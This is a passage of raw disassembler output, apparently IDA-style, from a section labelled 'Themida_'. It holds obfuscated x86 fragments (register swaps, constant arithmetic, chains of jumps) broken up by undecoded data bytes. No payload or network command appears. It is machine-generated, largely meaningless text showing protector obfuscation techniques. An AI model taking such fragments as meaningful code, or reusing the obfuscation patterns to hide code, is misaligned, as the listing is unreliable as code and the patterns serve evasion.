		dd 0C711F8BAh, 0F5F9E941h, 6866FFFFh, 896602AAh, 8CE92404h
		dd 57FFFF03h, 0C781E789h, 4, 4C781h, 3C870000h,	0D4E95C24h
		dd 0FEFFFFB6h, 53EA80CAh, 0E95AD500h, 0FFFF70D8h, 0EF713ABDh
		dd 36116803h, 1C890000h, 108FBB24h, 0C58115F8h,	76D1586Bh
		dd 0ED81DD29h, 76D1586Bh, 0FFED835Bh, 0F753DD87h, 875B241Ch
		dd 0E9D5F7DDh, 318Fh, 4C581h, 0BB530000h, 35E3745h, 7313F381h
		dd 0DBF7499Dh, 566AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5611D1:				; CODE XREF: Themida_:005568E6j
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xchg	eax, ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5641DD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9490400h, 0FFFF4163h, 3D72DDBFh, 8EFC16Dh, 17C7EF81h
		dd 0FA89C9B0h, 0FF1D05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561205:				; CODE XREF: Themida_:0056151Aj
		add	ebx, ecx
		pop	ecx
		jmp	loc_55E458
; ---------------------------------------------------------------------------

loc_56120D:				; CODE XREF: Themida_:00558B05j
		push	ecx
		jmp	loc_558F8F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0E91C5F21h, 0FFFF4407h
; ---------------------------------------------------------------------------

loc_56122C:				; CODE XREF: Themida_:0055290Cj
		sub	esp, 4
		mov	[esp], eax
		mov	esi, [esp]
		push	esi
		jmp	loc_55EBD8
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0B2B15163h, 8003E1C0h, 0B753B6E1h, 5BF9003Eh, 0FF938FE9h
		dd 0C0B8B1FFh, 94E906E9h, 89000046h, 34FF2414h,	0C4835B24h
		dd 0D8015A04h, 5B2434FFh, 3AFE68h, 24148900h, 0C2815A54h
		dd 4, 4BB5355h,	89000000h, 2434FFDDh, 63E9515Bh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56128F:				; CODE XREF: Themida_:00553982j
		xchg	eax, [esp]
		jmp	loc_552D94
; ---------------------------------------------------------------------------
		db 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55FAFD
; ---------------------------------------------------------------------------
		dd 592434FFh, 51F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5612A9:				; CODE XREF: Themida_:0056646Aj
		push	ebx
		mov	ebx, 8F421ACEh
		jmp	loc_555709
; ---------------------------------------------------------------------------
		dd 6925ED81h, 0DD010227h, 4DFEE9h, 0D0B95100h, 814CE627h
		dd 0EB0885E1h, 84F18130h, 100E200h, 9F25E9CAh, 7DBEFFFFh
		dd 0E93F083Ah, 0FFFF8A08h, 4C481h, 86E90000h, 51FFFF1Dh
		dd 493F6852h, 2C890000h, 5FBA5224h, 51590B30h, 0CD89D189h
		dd 0FF1406E9h, 0BB5352FFh, 4, 1C8BDA89h, 7FBEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56131A:				; CODE XREF: Themida_:005549A0j
		push	ecx
		jmp	loc_56389D
; ---------------------------------------------------------------------------
		dd 0F604E0C0h, 24C8FED8h, 51322CEAh, 0DDF641B5h, 0E907F580h
		dd 0FFFF4335h
; ---------------------------------------------------------------------------

loc_561338:				; CODE XREF: Themida_:0055FBACj
		inc	ecx
		jmp	loc_55B1C2
; ---------------------------------------------------------------------------

loc_56133E:				; CODE XREF: Themida_:00558AC3j
		sub	bl, ch
		pop	ecx
		pop	ecx
		neg	bl
		sub	esp, 4
		jmp	loc_563520
; ---------------------------------------------------------------------------

loc_56134C:				; CODE XREF: Themida_:00563EFCj
		pop	edx
		jmp	loc_55E0CC
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 2EBh, 241C3300h, 0FF5958E9h,	5AD001FFh, 1F402C2Dh, 58C7890Bh
		dd 5602E7C1h, 5862E9h, 64B15100h, 77B25266h, 8063EA80h
		dd 0A2E943F2h, 81000059h, 0F23CBAEFh, 81D70150h, 0F23CBAC7h
		dd 0FCBE5650h, 0E92EB133h, 0FFFF2BCEh, 2A68CB81h, 0F3810E29h
		dd 2260121Ah, 698DCB81h, 0C7E9349Ah, 1FFFFE9h, 38E95BDFh
		dd 52FFFF93h, 0FF9811E9h, 242C89FFh, 0DB3EE568h, 242C8B5Eh
		dd 0E904C483h, 5724h
; ---------------------------------------------------------------------------

loc_5613D8:				; CODE XREF: Themida_:00555A19j
		add	ebp, 550BF9B9h
		sub	edx, 760A728Ah
		add	edx, ebp
		add	edx, 760A728Ah
		pop	ebp
		jmp	loc_561872
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 53500000h, 0C0368h, 0AE7EE900h, 9BBDFFFFh, 8168EA12h
		dd 0B56BF1CDh, 85E5815Bh, 56527D4Dh, 0E9082EBEh, 50CE8134h
		dd 8120BD26h, 3616B0EEh, 0CBCE8122h, 0F74FC730h, 31EE81D6h
		dd 29A038C8h, 0CD815EF5h, 0D533A8h, 0FFFFC581h,	0B850FFFFh
		dd 3B6162BFh, 4E630D48h, 5235218Ch, 0E9691015h,	3447h
; ---------------------------------------------------------------------------

loc_56145C:				; CODE XREF: Themida_:0055EA8Cj
		add	ebp, 2E510717h
		mov	ecx, [esp]
		jmp	loc_55845D
; ---------------------------------------------------------------------------

loc_56146A:				; CODE XREF: Themida_:0055C989j
		xor	edx, edi
		jmp	loc_566CC7
; ---------------------------------------------------------------------------
byte_561471	db 0ADh, 52h, 0E9h	; DATA XREF: Themida_:00551458o
		dd 91Ah, 4C681h, 0C6830000h, 0E1EDE904h, 0F729FFFFh, 83D7015Eh
		dd 0C8904ECh, 18BA5224h, 814E3707h, 0F97C79F2h,	21FFE939h
		dd 6EB20000h, 0FF62C4E9h, 4C483FFh, 57EABA52h, 75E9F2DDh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5614B7:				; CODE XREF: Themida_:00552EB5j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_55FB93
; ---------------------------------------------------------------------------
		db 0BFh
		dd 9742905h, 0D0E9F909h, 81000011h, 853F7BC6h, 5EF329B3h
		dd 0FFAF17E9h, 34E95BFFh, 0B7FFFF3Eh, 28722C9Ch, 0D4ECE9F8h
		dd 0C181FFFFh, 4, 5C240C87h, 4C181h, 0B3E90000h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561507:				; CODE XREF: Themida_:0055B655j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_561205
; ---------------------------------------------------------------------------
		db 89h
		dd 0F0682424h, 89000044h, 4BD242Ch, 1000000h, 0E904246Ch
		dd 0FFFFD413h, 33243431h, 575C2434h, 0C781E789h, 4, 4BD55h
		dd 0C7810000h, 12585C5Ch, 0EC83EF01h, 24348904h, 0FC0AA2BEh
		dd 0B8E68112h, 0F71DEB7Fh, 0EE814ED6h, 0FFFFFFFFh, 9903EE81h
		dd 60E9DCBFh, 81000046h, 4C6h, 24348700h, 549CE95Ch, 0C681FFFFh
		dd 4, 592BB850h, 0BB5301EEh, 1,	47E9D801h, 68FFFFEFh, 3919h
		dd 0E9241489h, 0FFFFBD8Eh, 1696E95Ch, 34FFFFFFh, 0E427E924h
		dd 0DDF7FFFFh, 0AE9E5D1h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5615C7:				; CODE XREF: Themida_:005570B2j
		add	ebx, eax
		jmp	loc_55198B
; ---------------------------------------------------------------------------

loc_5615CE:				; CODE XREF: Themida_:0055AB83j
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55A5C6
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 53h
		dd 68000014h, 5D23h, 0B9240C89h, 73AB0378h, 0BB53D9F7h
		dd 381A2D61h, 16C181h, 0D9014BD9h, 16BE56h, 87E94BD9h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561607:				; CODE XREF: Themida_:0055F447j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5545DE
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 5324248Bh, 4BA5E9h
		dd 24042900h, 4F2F0D58h, 9BE9474Eh, 8F000027h, 895C2404h
		dd 0B7E92414h
		db 68h,	2 dup(0FFh)
byte_561667	db 68h			; DATA XREF: Themida_:00551450o
		dd 1D5Ch, 0E9241489h, 0FFFF9B62h, 0F3800FB3h, 5BDD0072h
		dd 0E99CED80h, 33AEh, 8158C129h, 710385F1h, 0FFE98152h
		dd 81FFFFFFh, 6BD9E3F1h, 59CA0182h, 0B5DDE951h,	0C89FFFFh
		dd 4EC8324h, 68242C89h,	6103h, 68240489h, 2F6375D9h, 0E924048Bh
		dd 0FFFF2D00h, 0B714E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5616C6:				; CODE XREF: Themida_:00560BB7j
		pop	esi
		add	ecx, ebp
		jmp	loc_55FB2E
; ---------------------------------------------------------------------------

loc_5616CE:				; CODE XREF: Themida_:00562C5Bj
		push	eax
		pop	ebx
		pop	eax
		push	eax
		mov	eax, 64272EA9h
		and	eax, 0CFE2D94h
		jmp	loc_5587BE
; ---------------------------------------------------------------------------

loc_5616E1:				; CODE XREF: Themida_:0055361Fj
		mov	[esp], ebp
		pop	ecx
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	8CFh
		mov	[esp], ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55425F
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 0FFFCD1E9h, 4C281FFh, 83000000h, 0C0E904EAh
		dd 8B000029h, 54552404h, 4C5815Dh, 50000000h, 4B8h, 0E9C50100h
		dd 0FFFFB01Bh, 0C1776EBEh, 5EF32912h, 4C3835Dh,	52A268h
		dd 241C8900h, 284AE9h
		db 0
; ---------------------------------------------------------------------------

loc_561761:				; CODE XREF: Themida_:0055E630j
		mov	[esp], ecx
		mov	ecx, 6E3652A1h
		jmp	loc_55E5D8
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 50E9DEF7h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_561777:				; CODE XREF: Themida_:005531C0j
		push	691h
		mov	[esp], edx
		push	edi
		mov	edi, 6B7368D7h
		shr	edi, 8
		or	edi, 2B6711FBh
		shl	edi, 6
		sub	esp, 4
		jmp	loc_555C5B
; ---------------------------------------------------------------------------
		db 1, 0D0h, 2Dh
		dd 692732AEh, 8124148Bh, 4C4h, 0C8E95100h, 81FFFF35h, 4ECh
		dd 243C8900h, 284E24BFh, 88BB531Dh, 3174E26Bh, 0E7D15BDFh
		dd 0D9F7814Fh, 31E5135Dh, 5C3AE9FDh, 5704FFFFh,	0F5E95A66h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5617DF:				; CODE XREF: Themida_:00563CA0j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	edi, 45170AC1h
		add	edi, edx
		push	ebp
		jmp	loc_55D35B
; ---------------------------------------------------------------------------
		db 80h
		dd 0E95169E3h, 0FFFF714Eh, 4240483h, 81240C8Bh,	4C4h, 4C18100h
		dd 83000000h, 0C3302C1h, 240C3124h, 8B240C33h, 9662424h
		dd 0E99C2404h, 0FFFEFCB3h, 4EC81h, 4890000h, 5E08924h
		dd 4, 8704C083h, 815C2404h, 0EE88C3C1h,	0E9CA01FDh, 0FFFFA892h
		dd 89242C89h, 4C581E5h,	81000000h, 4C5h, 25B1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561872:				; CODE XREF: Themida_:005613EDj
		not	edx
		and	edx, 52165F40h
		xor	edx, 4A88ABF0h
		mov	ebx, edx
		pop	edx
		xor	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564B51
; ---------------------------------------------------------------------------

loc_561891:				; CODE XREF: Themida_:0055336Ej
		sub	ebp, 136C1736h
		mov	esi, [esp]
		jmp	loc_560B3F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D93EB5C6h, 81DE017Ah, 0D93EB5EEh, 241C8B7Ah, 0FF27FFE9h
		dd 24048BFFh, 4C481h, 0EB810000h, 5AD15C21h, 0C381FB01h
		dd 5AD15C21h, 0FF2434FFh, 0E95F2434h, 302Ah
; ---------------------------------------------------------------------------

loc_5618D8:				; CODE XREF: Themida_:00560FD7j
		add	edx, 2
		push	869h
		jmp	loc_560A1F
; ---------------------------------------------------------------------------

loc_5618E8:				; CODE XREF: Themida_:00556A3Fj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55215E
; ---------------------------------------------------------------------------
		db 81h
		dd 67FE64C2h, 0E9D689F8h, 0FFFF9233h, 5C243C87h, 83242489h
		dd 0E9042404h, 0FFFF9EA1h
; ---------------------------------------------------------------------------

loc_561918:				; CODE XREF: Themida_:00564F0Cj
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55F7B8
; ---------------------------------------------------------------------------

loc_56192F:				; CODE XREF: Themida_:00557A54j
		mov	[esp], ebp
		push	esi
		push	1FF1310h
		pop	esi
		mov	ebp, 6A05418Fh
		add	ebp, 22A51E01h
		add	ebp, esi
		jmp	loc_553EF6
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7021Dh, 0E11E06BBh, 59CB3150h, 0EBC1D3F7h, 1CEB8106h
		dd 816BDC3Bh, 0E02C71EBh, 4032E996h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56196E:				; CODE XREF: Themida_:00552128j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esi, 3BDC2CBDh
		push	eax
		mov	eax, 308730C2h
		sub	esi, 70210869h
		jmp	loc_566461
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0FFEA52E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5619A9:				; CODE XREF: Themida_:00551854j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5647A1
; ---------------------------------------------------------------------------

loc_5619BA:				; CODE XREF: Themida_:00565FBEj
		or	eax, edx
		pop	edx
		sub	eax, 1FDF7F4Eh
		shl	eax, cl
		sub	esp, 4
		jmp	loc_55EF6D
; ---------------------------------------------------------------------------

loc_5619CC:				; CODE XREF: Themida_:00559F82j
		sub	esi, eax
		pop	eax
		push	esi
		not	dword ptr [esp]
		pop	esi
		not	esi
		xchg	edi, esi
		jmp	loc_558889
; ---------------------------------------------------------------------------

loc_5619DD:				; CODE XREF: Themida_:0055E59Cj
		add	dword ptr [esp], 4BD325F5h
		pop	edi
		sub	edi, 4BD325F5h
		mov	ebp, [esp]
		jmp	loc_564154
; ---------------------------------------------------------------------------

loc_5619F3:				; CODE XREF: Themida_:00562EAAj
		shl	edi, 7
		add	edi, 0FFFFFFFFh
		jmp	loc_55DEC4
; ---------------------------------------------------------------------------

loc_5619FE:				; CODE XREF: Themida_:0055F2F5j
		xchg	edx, ebx
		jmp	loc_5667B8
; ---------------------------------------------------------------------------
byte_561A05	db 0ACh, 66h, 53h	; DATA XREF: Themida_:00551434o
		dd 1FDE9h, 66F12000h, 0E924148Bh, 0FFFF23ECh, 4C481h, 0F2810000h
		dd 93792B6h, 518E9h, 145E6800h,	0C890000h, 0FAB5E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_561A36:				; CODE XREF: Themida_:0055935Aj
		mov	[esp], eax
		mov	eax, 6F16FDFh
		and	eax, 66D1843h
		and	eax, 1D0A6BDFh
		add	eax, 25320558h
		push	esi
		mov	esi, 1AF63C58h
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 951D4A52h
		or	eax, esi
		pop	esi
		push	ecx
		push	esi
		jmp	loc_564461
; ---------------------------------------------------------------------------
		dd 68243489h, 34D660CAh, 0FFF0015Eh, 525E2434h,	0C281E289h
		dd 4, 4C281h, 14870000h, 99685C24h, 89000011h, 0B0E9242Ch
		dd 81FFFF6Fh, 4C4h, 5EF2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561AA2:				; CODE XREF: Themida_:0055FB29j
		xor	ebp, ecx
		jmp	loc_55C115
; ---------------------------------------------------------------------------
		db 1, 0F8h, 0E9h
		dd 0FFFF63DAh, 17D1BA52h, 0C2817F37h, 2637546Dh, 353CBE56h
		dd 814E1F04h, 0D741DCCEh, 7EF6816Ch, 21364255h,	75E9E9F2h
		dd 815DFFFFh, 3D50B7EAh, 81C20109h, 3D50B7C2h, 0B6E95809h
		dd 5FFFFFFEh, 3F281h, 0EAE90045h
		db 50h,	2 dup(0)
byte_561AF7	db 0ACh			; DATA XREF: Themida_:005512E8o
		dd 54EE9h, 7091B900h, 0CA214724h, 0FFE28159h, 0C15C9008h
		dd 814206EAh, 7D1CFBC2h, 5AD68926h, 4402E9h, 4C78100h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 83685A54h, 8900005Bh
		dd 2068240Ch, 0E91F1571h, 0FFFF8B1Eh, 739768h, 240C8900h
		dd 60540CB9h, 59CB2916h, 24148B66h, 8904EC83h, 0B682434h
		dd 8900001Ah, 4812424h,	424h, 24348B00h, 4EC8156h, 89000000h
		dd 0D0E92424h, 1FFFFC2h, 7B1DE9D1h, 5E54FFFFh, 61A1BB53h
		dd 0E3817F35h, 453A2BE8h, 0FF2E49E9h, 243489FFh, 2F4B39BEh
		dd 6EF6812Fh, 922E16Fh,	24348BF2h, 4C481h, 81420000h, 9051AFE2h
		dd 51D2F729h, 7FAFFDB9h, 666AE9F6h, 1C33FFFFh, 241C3124h
		dd 8B241C33h, 48F2424h,	24248B24h, 0FEF90EE9h, 5DE989FFh
		dd 2414F751h, 66F18159h, 18AFBC3h, 51E959CFh, 81FFFFA4h
		dd 1434B4C7h, 0E0F7814Dh, 81C224E8h, 1E6407EAh,	0C40E934h
		dd 0EEB7FFFFh, 0F800CD04h, 9EE9CD2Ch
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C17:				; CODE XREF: Themida_:0055ECA3j
		pop	esi
		inc	esi
		add	esi, 6E0C5D00h
		add	esi, 0E543109Ch
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_5541CB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8107E3h, 2C5CFBFCh, 815BDE29h, 4ECh, 24348900h, 0FFF11DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561C49:				; CODE XREF: Themida_:0056425Aj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55D40C
; ---------------------------------------------------------------------------
		db 0B3h
		dd 4E24E9C8h, 4401FFFFh, 48B0824h, 4C48124h, 81000000h
		dd 6B042444h, 290DED18h, 81042444h, 6B04246Ch, 810DED18h
		dd 4804246Ch, 0E91B3B09h, 0FFFFABCDh, 0E9243C8Bh, 413Bh
; ---------------------------------------------------------------------------

loc_561C90:				; CODE XREF: Themida_:00552034j
		add	ecx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_562BF7
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0F7h
		dd 0BEBA52D5h, 0E9125403h, 0FFFFB6F0h
; ---------------------------------------------------------------------------

loc_561CB8:				; CODE XREF: Themida_:0055BCADj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 22D14FB8h
		add	ecx, eax
		pop	eax
		add	ecx, 2D9636B7h
		shl	ecx, 3
		xor	ecx, 4DE9830Ah
		shl	ecx, 5
		add	ecx, 8C11EAC4h
		sub	eax, 7231290Bh
		add	eax, ecx
		add	eax, 7231290Bh
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_564EF2
; ---------------------------------------------------------------------------
		dw 4E68h
		dd 0E9000066h, 0FFFF0FDBh, 3DB6525Bh, 0E95AF400h, 0FFFFC499h
		dd 55515B54h, 0DA6144BDh, 0F6C58175h, 57D169AFh, 0F989EF89h
		dd 0CF39E95Fh, 2C87FFFFh, 240C8B24h, 8104C483h,	20E95E1h
		dd 0C2B85033h, 50EC279h, 6D34C8C8h, 0BBE9C131h
		db 0FCh, 0FEh, 0FFh
byte_561D47	db 66h			; DATA XREF: Themida_:005513B4o
		dd 6824048Bh, 2952h, 0E9240C89h, 28D2h
; ---------------------------------------------------------------------------

loc_561D58:				; CODE XREF: Themida_:0055B52Dj
		push	eax
		mov	ah, 0B0h
		sub	ah, 0DAh
		dec	ah
		push	edx
		mov	dh, 1
		sub	ah, dh
		pop	edx
		push	4945h
		mov	[esp], eax
		xchg	cl, [esp+1]
		not	cl
		xchg	cl, [esp+1]
		pop	eax
		not	ah
		inc	ah
		jmp	loc_56097D
; ---------------------------------------------------------------------------
		dw 8568h
		dd 0E9000032h, 0FFFF69B1h, 0FDB2E95Ah, 6EBAFFFFh, 425F4400h
		dd 0E2C1DAF7h, 0DAA7E906h, 74FFFFFFh, 1C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55F6A6
; ---------------------------------------------------------------------------
dword_561DC4	dd 24048B66h, 8904EC83h, 0E9532414h, 0FFFFD6D2h, 95F62D48h
					; DATA XREF: Themida_:005512B4o
		dd 0C231E85Ch, 0FF6E23E9h, 0FEA80FFh, 536EC280h, 0CBFE58B3h
		dd 0D3F6CBFEh, 805BCB80h, 0DA00E0F3h, 83241C8Bh, 0EB8004C4h
		dd 23E6E976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561E06:				; CODE XREF: Themida_:00552165j
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		jmp	loc_5652D9
; ---------------------------------------------------------------------------

loc_561E13:				; CODE XREF: Themida_:0055EFE7j
		push	45F1h
		mov	[esp], ebx
		mov	ebx, 7E540A0Eh
		xor	ebx, 82DE967Eh
		add	edx, ebx
		pop	ebx
		add	ecx, edx
		jmp	loc_5624BE
; ---------------------------------------------------------------------------
		dd 0F1628BBEh, 6FF68159h, 0F7254452h, 0B6F681D6h, 831D827Ah
		dd 0E7E901EEh, 5B000005h, 5C24048Fh, 0FF0B59E9h, 746856FFh
		dd 5E353A02h, 0FF67A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561E61:				; CODE XREF: Themida_:00554459j
		mov	edx, esp
		push	ebx

loc_561E64:				; DATA XREF: Themida_:005666F0o
		mov	ebx, 2D1A629Ch
		jmp	loc_552F84
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 5F042474h, 8B24048Fh, 89662424h, 96E9240Ch, 89FFFFC6h
		dd 74FF242Ch, 8F5D0424h, 248B2404h, 2434FF24h, 8B2434FFh
		dd 0B4E92404h, 81FFFF66h, 0CC43FCF1h, 0ECE8E930h, 0C681FFFFh
		dd 4, 5C243487h, 8B24048Fh, 0F7662424h,	0E38953E1h, 16D9BA52h
		dd 0B9E96702h
		db 87h,	2 dup(0FFh)
byte_561ECB	db 66h			; DATA XREF: Themida_:00551474o
		dd 6824048Bh, 4258h, 0FEF9C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561ED9:				; CODE XREF: Themida_:00555A0Bj
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 2
		shl	eax, 3
		inc	eax
		push	2A0Dh
		mov	[esp], ebp
		mov	ebp, 7D216939h
		jmp	loc_55E89E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF4BD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F01:				; CODE XREF: Themida_:00563854j
		pop	esp
		add	eax, 56B6041Ah
		add	eax, edi
		sub	eax, 56B6041Ah
		mov	edi, [esp]
		jmp	loc_552106
; ---------------------------------------------------------------------------
		dw 575Ah
		dd 4EC81h, 0C890000h, 44B4B924h, 0B0BF013Ah, 31013A44h
		dd 0FA0159CFh, 2874E9h,	0F5814500h, 110104A0h, 3735E9h
		dd 0FF52D00h, 3D05550Bh, 2947FA26h, 263D2DD0h, 0B95147FAh
		dd 13D455ACh, 0E957D1F7h, 0FFFFB0AAh, 4C681h, 34870000h
		dd 2C335C24h, 242C3124h, 5C242C33h, 0FFDD64E9h,	1B55BBFFh
		dd 5DE96A78h, 25FFFF7Ah, 0B3C09E8h, 0FF1412E9h,	8BC529FFh
		dd 89572404h, 4C781E7h,	83000000h, 3C8704C7h, 0F5E95C24h
		dd 89FFFEFBh, 2BF243Ch,	1000000h, 4335FF8h, 24043124h
		dd 5C240433h, 0FF5174E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561FC1:				; CODE XREF: Themida_:0055F367j
		push	ebp
		push	edi
		mov	edi, 793959E8h
		sub	edi, 2D0F3708h
		jmp	loc_556877
; ---------------------------------------------------------------------------

loc_561FD3:				; CODE XREF: Themida_:00551D52j
		sub	esi, eax
		pop	eax
		jmp	loc_553E2B
; ---------------------------------------------------------------------------

loc_561FDB:				; CODE XREF: Themida_:0055EA7Ej
		pop	ebx
		neg	edx
		jmp	loc_563C37
; ---------------------------------------------------------------------------
		db 1
		dd 9BCEE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561FEA:				; CODE XREF: Themida_:0056418Fj
		sub	ebx, 5E2D38DBh
		pop	esi
		mov	edi, ebx
		pop	ebx
		mov	ebx, edi
		pop	edi
		mov	edi, 0A7A3C4B3h
		add	edi, ebx
		jmp	loc_55E81D
; ---------------------------------------------------------------------------

loc_562003:				; CODE XREF: Themida_:0055568Aj
		sub	al, dh
		jmp	loc_55B52A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFDB2EE9h, 48153FFh, 351B624h, 0EF815F52h, 520351B6h
		dd 13EFE95Bh, 0F000FFFFh, 0FF58CEE9h
		db 0FFh
byte_562031	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00551274o
		dd 8124048Bh, 4C4h, 59545100h, 4C181h, 0D5E90000h, 66FFFFCDh
		dd 0EDAEE952h, 0C181FFFFh, 4, 0E904E983h, 0FFFFECA3h, 0B7AE981h
		dd 0C1813A56h, 1EA44D5Ch, 0BE5631FFh, 5AC1307Ah, 4244481h
		dd 1C0C3589h, 4247429h,	0FF0817E9h, 4C683FFh, 5C243487h
		dd 0FFC87AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562091:				; CODE XREF: Themida_:00563C29j
		pop	esp
		jmp	loc_55205F
; ---------------------------------------------------------------------------

loc_562097:				; CODE XREF: Themida_:00553F42j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5665EE
; ---------------------------------------------------------------------------
		dw 159h
		dd 2434FFE8h, 5D2434FFh, 4C481h, 81E90000h, 87FFFF00h
		dd 248B2434h, 4D36624h,	24E99C24h, 0C1FFFEF4h, 0EE8106EEh
		dd 0F9458C99h, 315EF289h, 24148BD6h, 2D04C483h,	2E14662Ah
		dd 0E957F029h, 0FFFF7455h, 8B73E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5620EE:				; CODE XREF: Themida_:005542F0j
		push	edi
		mov	edi, 0F2854E07h
		jmp	loc_562DA4
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFBDDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562101:				; CODE XREF: Themida_:0055DC56j
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_55E75A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2Bh
		dd 11F1D3Ch, 0B0BA52C1h, 0C1681E7Eh, 0EA8105EAh, 9AC4970h
		dd 6D08C281h, 0DAF76DEEh, 0ED5BD55h, 8DE96B5Fh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_562137:				; CODE XREF: Themida_:00553FDDj
		sub	eax, edx
		pop	edx
		push	eax
		push	esi
		push	ecx
		push	edi
		push	67346788h
		pop	edi
		sub	edi, 3D106770h
		mov	ecx, edi
		pop	edi
		shr	ecx, 6
		sub	ecx, 2ACD75CCh
		push	esi
		mov	esi, 0E03030Dh
		sub	ecx, esi
		pop	esi
		shr	ecx, 6
		jmp	loc_5528FF
; ---------------------------------------------------------------------------

loc_562167:				; CODE XREF: Themida_:00558308j
		xor	dword ptr [esp], 211E779Dh
		pop	ebp
		xor	ebp, 211E779Dh
		jmp	loc_560A6F
; ---------------------------------------------------------------------------
aTi		db 0Dh,'оt╗',0
		db 0F7h
		dd 7CD405D0h, 4BE958FEh
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56218B:				; CODE XREF: Themida_:0055BCE2j
		xor	[esp], ecx
		jmp	loc_563617
; ---------------------------------------------------------------------------
		db 2Dh
